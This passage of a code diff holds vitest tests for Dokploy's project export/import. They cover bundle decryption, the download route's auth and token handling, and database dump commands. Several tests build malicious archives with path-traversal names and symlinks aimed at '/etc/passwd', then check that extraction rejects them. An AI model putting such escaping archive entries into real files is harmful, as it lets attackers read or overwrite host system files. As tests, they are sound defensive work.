||||
inventory: captureResult.inventory,
|
||||
requirements: captureResult.requirements,
|
||||
warnings: captureResult.warnings,
|
||||
dumps: [],
|
||||
scope: baseScope,
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
},
|
||||
captureResult.secretsPlain,
|
||||
PASSPHRASE,
|
||||
local(workDir),
|
||||
local(bundlePath),
|
||||
);
|
||||
};
|
||||
|
||||
beforeEach(async () => {
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-deser-work-"));
|
||||
outDir = await mkdtemp(join(tmpdir(), "transfer-deser-out-"));
|
||||
bundlePath = join(outDir, "bundle.dokploy.tar.gz");
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
await rm(outDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe("deserialize: inspectBundle + unlockBundle", () => {
|
||||
it("round-trips the exact snapshot through inspect + unlock", async () => {
|
||||
await buildBundle();
|
||||
|
||||
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
|
||||
try {
|
||||
const inspected = await inspectBundle(
|
||||
local(bundlePath),
|
||||
local(extractDir),
|
||||
);
|
||||
expect(inspected.manifest.sourceInstance.organizationId).toBe("org-1");
|
||||
expect(inspected.inventory.totals.application).toBe(1);
|
||||
expect(Array.isArray(inspected.requirements)).toBe(true);
|
||||
expect(Array.isArray(inspected.warnings)).toBe(true);
|
||||
|
||||
expect(existsSync(join(extractDir, "resources"))).toBe(false);
|
||||
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
|
||||
expect(unlocked.snapshot.manifest).toEqual(inspected.manifest);
|
||||
expect(existsSync(join(extractDir, "payload.enc"))).toBe(false);
|
||||
expect(existsSync(join(extractDir, "secrets.json"))).toBe(false);
|
||||
expect(unlocked.snapshot.resources.project).toMatchObject({
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
});
|
||||
expect(unlocked.snapshot.resources.environments).toHaveLength(1);
|
||||
|
||||
const decryptedValues = Array.from(unlocked.secretsPlain.values());
|
||||
expect(decryptedValues).toContain("realdbpassword123");
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
}, 30_000);
|
||||
|
||||
it("throws TransferCryptoError on a wrong passphrase", async () => {
|
||||
await buildBundle();
|
||||
|
||||
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
|
||||
try {
|
||||
await inspectBundle(local(bundlePath), local(extractDir));
|
||||
await expect(
|
||||
unlockBundle(local(extractDir), "totally-wrong-passphrase-here"),
|
||||
).rejects.toThrow(TransferCryptoError);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("throws TransferCryptoError when the encrypted payload is tampered with", async () => {
|
||||
await buildBundle();
|
||||
|
||||
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
|
||||
try {
|
||||
await inspectBundle(local(bundlePath), local(extractDir));
|
||||
const payloadPath = join(extractDir, "payload.enc");
|
||||
const bytes = await readFile(payloadPath);
|
||||
const middle = Math.floor(bytes.length / 2);
|
||||
bytes[middle] = (bytes[middle] ?? 0) ^ 0xff;
|
||||
await writeFile(payloadPath, bytes);
|
||||
|
||||
await expect(unlockBundle(local(extractDir), PASSPHRASE)).rejects.toThrow(
|
||||
TransferCryptoError,
|
||||
);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a tar entry that attempts path traversal", async () => {
|
||||
const maliciousBundle = join(outDir, "evil.dokploy.tar.gz");
|
||||
await writeFile(
|
||||
maliciousBundle,
|
||||
buildMaliciousTarGz("../../etc/evil-payload", Buffer.from("evil")),
|
||||
);
|
||||
|
||||
const extractDir = await mkdtemp(
|
||||
join(tmpdir(), "transfer-deser-extract-evil-"),
|
||||
);
|
||||
try {
|
||||
await expect(
|
||||
inspectBundle(local(maliciousBundle), local(extractDir)),
|
||||
).rejects.toThrow(/unsafe path/i);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a gzip bomb before extracting anything", async () => {
|
||||
const bomb = join(outDir, "bomb.dokploy.tar.gz");
|
||||
await writeFile(
|
||||
bomb,
|
||||
buildMaliciousTarGz("manifest.json", Buffer.alloc(1024 * 1024)),
|
||||
);
|
||||
|
||||
const extractDir = await mkdtemp(
|
||||
join(tmpdir(), "transfer-deser-extract-bomb-"),
|
||||
);
|
||||
try {
|
||||
await expect(
|
||||
inspectBundle(local(bomb), local(extractDir), {
|
||||
maxDecompressedBytes: 64 * 1024,
|
||||
}),
|
||||
).rejects.toThrow(/decompressed size/);
|
||||
expect(existsSync(join(extractDir, "manifest.json"))).toBe(false);
|
||||
// A post-extraction failure removes the directory; the pre-check never touches it.
|
||||
expect(existsSync(extractDir)).toBe(true);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects an escaping symlink even when its name contains a tab", async () => {
|
||||
const maliciousBundle = join(outDir, "evil-tab-symlink.dokploy.tar.gz");
|
||||
await writeFile(
|
||||
maliciousBundle,
|
||||
buildSymlinkTarGz("x\ty", "../../../../etc"),
|
||||
);
|
||||
|
||||
const extractDir = await mkdtemp(
|
||||
join(tmpdir(), "transfer-deser-extract-tab-"),
|
||||
);
|
||||
try {
|
||||
await expect(
|
||||
inspectBundle(local(maliciousBundle), local(extractDir)),
|
||||
).rejects.toThrow(/unsafe symlink/i);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a symlink entry whose target escapes workDir", async () => {
|
||||
const maliciousBundle = join(outDir, "evil-symlink.dokploy.tar.gz");
|
||||
await writeFile(
|
||||
maliciousBundle,
|
||||
buildSymlinkTarGz("innocuous-name.txt", "../../../../etc/passwd"),
|
||||
);
|
||||
|
||||
const extractDir = await mkdtemp(
|
||||
join(tmpdir(), "transfer-deser-extract-symlink-"),
|
||||
);
|
||||
try {
|
||||
await expect(
|
||||
inspectBundle(local(maliciousBundle), local(extractDir)),
|
||||
).rejects.toThrow(/unsafe symlink/i);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,316 @@
|
||||
import { mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { PassThrough, Readable } from "node:stream";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const { errorPathBox } = vi.hoisted(() => ({ errorPathBox: { value: "" } }));
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/utils/process/remoteStream",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/remoteStream")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
openProcessStream: async (serverId: string | null, command: string) => {
|
||||
if (errorPathBox.value && command.includes(errorPathBox.value)) {
|
||||
const stdout = new Readable({ read() {} });
|
||||
process.nextTick(() => {
|
||||
stdout.emit("error", new Error("simulated read failure"));
|
||||
});
|
||||
return {
|
||||
stdin: new PassThrough(),
|
||||
stdout,
|
||||
stderr: new PassThrough(),
|
||||
exit: Promise.resolve(1),
|
||||
close: () => {},
|
||||
};
|
||||
}
|
||||
return actual.openProcessStream(serverId, command);
|
||||
},
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
let sessionToReturn: {
|
||||
session: { activeOrganizationId: string } | null;
|
||||
user: { id: string } | null;
|
||||
} = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1" },
|
||||
};
|
||||
|
||||
vi.mock("@dokploy/server/lib/auth", () => ({
|
||||
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
|
||||
}));
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const {
|
||||
createExportJob,
|
||||
issueDownloadToken,
|
||||
updateExportJob,
|
||||
peekDownloadToken,
|
||||
assertTransferPermission,
|
||||
} = await import("@dokploy/server/services/project-export-import");
|
||||
const handler = (
|
||||
await import("../../pages/api/project-export-import/download/[token]")
|
||||
).default;
|
||||
|
||||
let root: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-download-route-"));
|
||||
errorPathBox.value = "";
|
||||
sessionToReturn = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1" },
|
||||
};
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const buildReq = (
|
||||
method: string,
|
||||
token: string,
|
||||
): { method: string; query: { token: string } } => ({
|
||||
method,
|
||||
query: { token },
|
||||
});
|
||||
|
||||
const buildRes = () => {
|
||||
const stream = new PassThrough() as unknown as {
|
||||
statusCode: number;
|
||||
status: (code: number) => typeof stream;
|
||||
json: (body: unknown) => typeof stream;
|
||||
jsonBody?: unknown;
|
||||
setHeader: (key: string, value: unknown) => void;
|
||||
headers: Record<string, unknown>;
|
||||
} & PassThrough;
|
||||
stream.statusCode = 200;
|
||||
stream.headers = {};
|
||||
stream.status = vi.fn((code: number) => {
|
||||
stream.statusCode = code;
|
||||
return stream;
|
||||
}) as typeof stream.status;
|
||||
stream.json = vi.fn((body: unknown) => {
|
||||
stream.jsonBody = body;
|
||||
return stream;
|
||||
}) as typeof stream.json;
|
||||
stream.setHeader = vi.fn((key: string, value: unknown) => {
|
||||
stream.headers[key] = value;
|
||||
});
|
||||
return stream;
|
||||
};
|
||||
|
||||
const drain = (stream: PassThrough): Promise<Buffer> =>
|
||||
new Promise((resolve, reject) => {
|
||||
const chunks: Buffer[] = [];
|
||||
stream.on("data", (chunk) => chunks.push(chunk as Buffer));
|
||||
stream.on("end", () => resolve(Buffer.concat(chunks)));
|
||||
stream.on("error", reject);
|
||||
});
|
||||
|
||||
describe("transfer download route", () => {
|
||||
it("rejects unauthenticated requests", async () => {
|
||||
sessionToReturn = { session: null, user: null };
|
||||
const req = buildReq("GET", "any-token");
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(401);
|
||||
});
|
||||
|
||||
it("rejects an unknown token", async () => {
|
||||
const req = buildReq("GET", "does-not-exist");
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(404);
|
||||
});
|
||||
|
||||
it("rejects a non-owner/admin caller with a valid, same-org token", async () => {
|
||||
const job = createExportJob("export-forbidden-1", "user-1", "org-1");
|
||||
job.status = "done";
|
||||
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
|
||||
const token = issueDownloadToken("export-forbidden-1") as string;
|
||||
|
||||
(assertTransferPermission as any).mockRejectedValueOnce(
|
||||
new (await import("@trpc/server")).TRPCError({
|
||||
code: "FORBIDDEN",
|
||||
message: "Only organization owners and admins can do that",
|
||||
}),
|
||||
);
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(403);
|
||||
expect(assertTransferPermission).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects a token belonging to another organization", async () => {
|
||||
const job = createExportJob("export-1", "user-1", "org-2");
|
||||
job.status = "done";
|
||||
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
|
||||
const token = issueDownloadToken("export-1") as string;
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(404);
|
||||
});
|
||||
|
||||
it("streams the bundle and invalidates the token on success, keeps it valid on failure retries", async () => {
|
||||
const bundlePath = join(root, "bundle.tar.gz");
|
||||
const content = Buffer.from(
|
||||
"fake bundle bytes, could be large in real life",
|
||||
);
|
||||
await writeFile(bundlePath, content);
|
||||
|
||||
createExportJob("export-2", "user-1", "org-1");
|
||||
updateExportJob("export-2", {
|
||||
status: "done",
|
||||
bundle: { serverId: null, path: bundlePath },
|
||||
});
|
||||
const token = issueDownloadToken("export-2") as string;
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
|
||||
const [, received] = await Promise.all([
|
||||
handler(req as any, res as any),
|
||||
drain(res),
|
||||
]);
|
||||
|
||||
expect(received.equals(content)).toBe(true);
|
||||
expect(res.headers["Content-Type"]).toBe("application/gzip");
|
||||
expect(res.headers["Content-Length"]).toBe(content.length);
|
||||
expect(String(res.headers["Content-Disposition"])).toContain(
|
||||
"bundle.tar.gz",
|
||||
);
|
||||
|
||||
await new Promise((resolve) => setTimeout(resolve, 10));
|
||||
expect(peekDownloadToken(token)).toBeUndefined();
|
||||
});
|
||||
|
||||
it("keeps the token valid when the connection closes before the download finishes", async () => {
|
||||
const bundlePath = join(root, "bundle-disconnect.tar.gz");
|
||||
await writeFile(bundlePath, Buffer.alloc(1024 * 1024, 7));
|
||||
|
||||
createExportJob("export-disconnect-1", "user-1", "org-1");
|
||||
updateExportJob("export-disconnect-1", {
|
||||
status: "done",
|
||||
bundle: { serverId: null, path: bundlePath },
|
||||
});
|
||||
const token = issueDownloadToken("export-disconnect-1") as string;
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
|
||||
res.once("data", () => {
|
||||
res.destroy();
|
||||
});
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(peekDownloadToken(token)).toBeDefined();
|
||||
});
|
||||
|
||||
it("destroys the response instead of hanging when the source stream errors mid-read", async () => {
|
||||
const bundlePath = join(root, "bundle-error.tar.gz");
|
||||
await writeFile(bundlePath, Buffer.from("will never actually be read"));
|
||||
errorPathBox.value = bundlePath;
|
||||
|
||||
createExportJob("export-error-1", "user-1", "org-1");
|
||||
updateExportJob("export-error-1", {
|
||||
status: "done",
|
||||
bundle: { serverId: null, path: bundlePath },
|
||||
});
|
||||
const token = issueDownloadToken("export-error-1") as string;
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.destroyed).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects a GET with a non-string token param", async () => {
|
||||
const req = { method: "GET", query: { token: ["a", "b"] } };
|
||||
const res = buildRes();
|
||||
await handler(req as any, res as any);
|
||||
expect(res.statusCode).toBe(400);
|
||||
});
|
||||
|
||||
it("rejects non-GET methods", async () => {
|
||||
const req = buildReq("POST", "whatever");
|
||||
const res = buildRes();
|
||||
await handler(req as any, res as any);
|
||||
expect(res.statusCode).toBe(405);
|
||||
});
|
||||
|
||||
it("does not buffer the whole file into memory while streaming a large bundle", async () => {
|
||||
const bundlePath = join(root, "large-bundle.tar.gz");
|
||||
const chunkSize = 1024 * 1024;
|
||||
const chunkCount = 50;
|
||||
const chunk = Buffer.alloc(chunkSize, 7);
|
||||
const { open } = await import("node:fs/promises");
|
||||
const handle = await open(bundlePath, "w");
|
||||
for (let i = 0; i < chunkCount; i++) {
|
||||
await handle.write(chunk);
|
||||
}
|
||||
await handle.close();
|
||||
|
||||
createExportJob("export-large", "user-1", "org-1");
|
||||
updateExportJob("export-large", {
|
||||
status: "done",
|
||||
bundle: { serverId: null, path: bundlePath },
|
||||
});
|
||||
const token = issueDownloadToken("export-large") as string;
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
res.resume();
|
||||
|
||||
if (global.gc) {
|
||||
global.gc();
|
||||
}
|
||||
const before = process.memoryUsage().heapUsed;
|
||||
|
||||
await handler(
|
||||
req as unknown as Parameters<typeof handler>[0],
|
||||
res as unknown as Parameters<typeof handler>[1],
|
||||
);
|
||||
|
||||
if (global.gc) {
|
||||
global.gc();
|
||||
}
|
||||
const after = process.memoryUsage().heapUsed;
|
||||
const grew = after - before;
|
||||
|
||||
expect(grew).toBeLessThan((chunkSize * chunkCount) / 2);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,550 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
buildComposeDumpCommand,
|
||||
buildDumpCommand,
|
||||
createDumps,
|
||||
MAX_EMBEDDED_DUMP_BYTES,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
describe("buildDumpCommand", () => {
|
||||
it("builds a postgres dump command using databaseName/databaseUser", () => {
|
||||
const built = buildDumpCommand("postgres", {
|
||||
appName: "pg-one",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "myuser",
|
||||
});
|
||||
expect(built?.ext).toBe("sql.gz");
|
||||
expect(built?.containerSearch).toContain("pg-one");
|
||||
expect(built?.command).toContain("pg_dump");
|
||||
expect(built?.command).toContain("mydb");
|
||||
});
|
||||
|
||||
it("builds a mysql dump command using databaseRootPassword", () => {
|
||||
const built = buildDumpCommand("mysql", {
|
||||
appName: "mysql-one",
|
||||
databaseName: "mydb",
|
||||
databaseRootPassword: "rootpass",
|
||||
});
|
||||
expect(built?.command).toContain("mysqldump");
|
||||
expect(built?.command).toContain("rootpass");
|
||||
});
|
||||
|
||||
it("builds a mariadb dump command using databaseUser + databasePassword", () => {
|
||||
const built = buildDumpCommand("mariadb", {
|
||||
appName: "maria-one",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
});
|
||||
expect(built?.command).toContain("mariadb-dump");
|
||||
});
|
||||
|
||||
it("builds a mongo dump command", () => {
|
||||
const built = buildDumpCommand("mongo", {
|
||||
appName: "mongo-one",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
});
|
||||
expect(built?.ext).toBe("archive.gz");
|
||||
expect(built?.command).toContain("mongodump");
|
||||
expect(built?.command).toContain("--archive --gzip");
|
||||
expect(built?.command).not.toContain("-d ");
|
||||
});
|
||||
|
||||
it("builds a libsql dump command over sqld's iku.db data directory", () => {
|
||||
const built = buildDumpCommand("libsql", { appName: "libsql-one" });
|
||||
expect(built?.ext).toBe("tar.gz");
|
||||
expect(built?.command).toContain("iku.db");
|
||||
expect(built?.command).not.toContain("libsql-one");
|
||||
});
|
||||
|
||||
it("returns undefined for a non-dumpable service type", () => {
|
||||
expect(buildDumpCommand("redis", { appName: "redis-one" })).toBeUndefined();
|
||||
expect(
|
||||
buildDumpCommand("application", { appName: "app-one" }),
|
||||
).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildComposeDumpCommand", () => {
|
||||
it("builds from metadata.mariadb when databaseType is mariadb", () => {
|
||||
const built = buildComposeDumpCommand({
|
||||
appName: "stack-one",
|
||||
serviceName: "db",
|
||||
database: "mydb",
|
||||
databaseType: "mariadb",
|
||||
metadata: { mariadb: { databaseUser: "u", databasePassword: "p" } },
|
||||
});
|
||||
expect(built?.command).toContain("mariadb-dump");
|
||||
expect(built?.containerSearch).toContain("stack-one");
|
||||
});
|
||||
|
||||
it("returns undefined when the matching metadata block is missing", () => {
|
||||
const built = buildComposeDumpCommand({
|
||||
appName: "stack-one",
|
||||
serviceName: "db",
|
||||
database: "mydb",
|
||||
databaseType: "mongo",
|
||||
metadata: {},
|
||||
});
|
||||
expect(built).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "embed" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
libsql: [],
|
||||
compose: [],
|
||||
};
|
||||
|
||||
const buildTree = (
|
||||
postgres: Record<string, unknown>[],
|
||||
redis: Record<string, unknown>[] = [],
|
||||
) => ({
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [],
|
||||
postgres,
|
||||
redis,
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
deployments: { findMany: async () => [] },
|
||||
backups: { findFirst: async () => undefined },
|
||||
...overrides,
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
let workDir: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-dumps-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe("createDumps / embed mode", () => {
|
||||
it("writes a dump per dumpable service via the injected runDump and records its size", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
]);
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async (_serverId, _cmd, localPath) => {
|
||||
await writeFile(localPath.path, Buffer.alloc(100, 1));
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(warnings).toHaveLength(0);
|
||||
expect(dumps).toEqual([
|
||||
{
|
||||
serviceId: "pg-1",
|
||||
serviceType: "postgres",
|
||||
mode: "embed",
|
||||
ext: "sql.gz",
|
||||
path: "dumps/pg-1.sql.gz",
|
||||
bytes: 100,
|
||||
},
|
||||
]);
|
||||
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(true);
|
||||
});
|
||||
|
||||
it("notes that admin users are not restored for a mongo dump", async () => {
|
||||
const tree = buildTree([]);
|
||||
tree.environments[0]!.mongo = [
|
||||
{
|
||||
mongoId: "mongo-1",
|
||||
appName: "mongo-one",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
] as any;
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async (_serverId, _cmd, localPath) => {
|
||||
await writeFile(localPath.path, Buffer.alloc(10, 1));
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(1);
|
||||
expect(warnings.map((w) => w.code)).toEqual([
|
||||
"MONGO_ADMIN_USERS_NOT_RESTORED",
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips redis (no dump mechanism)", async () => {
|
||||
const tree = buildTree(
|
||||
[],
|
||||
[
|
||||
{
|
||||
redisId: "redis-1",
|
||||
appName: "redis-one",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
],
|
||||
);
|
||||
|
||||
const { dumps } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("does nothing when dumps.mode is none", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
]);
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
{ ...baseScope, dumps: { mode: "none" } },
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async () => {
|
||||
throw new Error("should not be called");
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
expect(warnings).toHaveLength(0);
|
||||
expect(existsSync(join(workDir, "dumps"))).toBe(false);
|
||||
});
|
||||
|
||||
it("emits DUMP_SKIPPED_TOO_LARGE and deletes the file when over the byte limit", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
]);
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async (_s, _c, localPath) => {
|
||||
const { open } = await import("node:fs/promises");
|
||||
const handle = await open(localPath.path, "w");
|
||||
await handle.truncate(MAX_EMBEDDED_DUMP_BYTES + 1);
|
||||
await handle.close();
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
expect(warnings).toHaveLength(1);
|
||||
expect(warnings[0]?.code).toBe("DUMP_SKIPPED_TOO_LARGE");
|
||||
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(false);
|
||||
});
|
||||
|
||||
it("emits DUMP_FAILED and doesn't add a dumps entry when runDump throws", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
]);
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async () => {
|
||||
throw new Error("pg_dump: connection refused");
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
expect(existsSync(join(workDir, "dumps"))).toBe(false);
|
||||
expect(warnings).toHaveLength(1);
|
||||
expect(warnings[0]?.code).toBe("DUMP_FAILED");
|
||||
expect(warnings[0]?.message).toContain("pg-one");
|
||||
expect(warnings[0]?.affected).toContainEqual(
|
||||
expect.objectContaining({ serviceId: "pg-1" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("emits COMPOSE_DUMP_NOT_RESTORABLE for a compose backup", async () => {
|
||||
const tree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [],
|
||||
postgres: [],
|
||||
redis: [],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
libsql: [],
|
||||
compose: [
|
||||
{
|
||||
composeId: "compose-1",
|
||||
appName: "stack-one",
|
||||
serverId: null,
|
||||
backups: [
|
||||
{
|
||||
backupId: "backup-1",
|
||||
serviceName: "db",
|
||||
database: "mydb",
|
||||
databaseType: "mariadb",
|
||||
metadata: {
|
||||
mariadb: { databaseUser: "u", databasePassword: "p" },
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(1);
|
||||
expect(warnings).toHaveLength(1);
|
||||
expect(warnings[0]?.code).toBe("COMPOSE_DUMP_NOT_RESTORABLE");
|
||||
expect(warnings[0]?.affected).toEqual([
|
||||
{
|
||||
serviceId: "compose-1",
|
||||
serviceType: "compose",
|
||||
serviceName: "stack-one",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
]);
|
||||
expect(dumps[0]?.serviceId).toBe("compose-1");
|
||||
expect(dumps[0]?.mode).toBe("embed");
|
||||
expect(dumps[0]?.mode === "embed" ? dumps[0].path : undefined).toContain(
|
||||
"backup-1",
|
||||
);
|
||||
});
|
||||
|
||||
it("does not emit COMPOSE_DUMP_NOT_RESTORABLE when the compose dump itself fails", async () => {
|
||||
const tree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [],
|
||||
postgres: [],
|
||||
redis: [],
|
||||
mysql: [],
|
||||
mariadb: [],
|
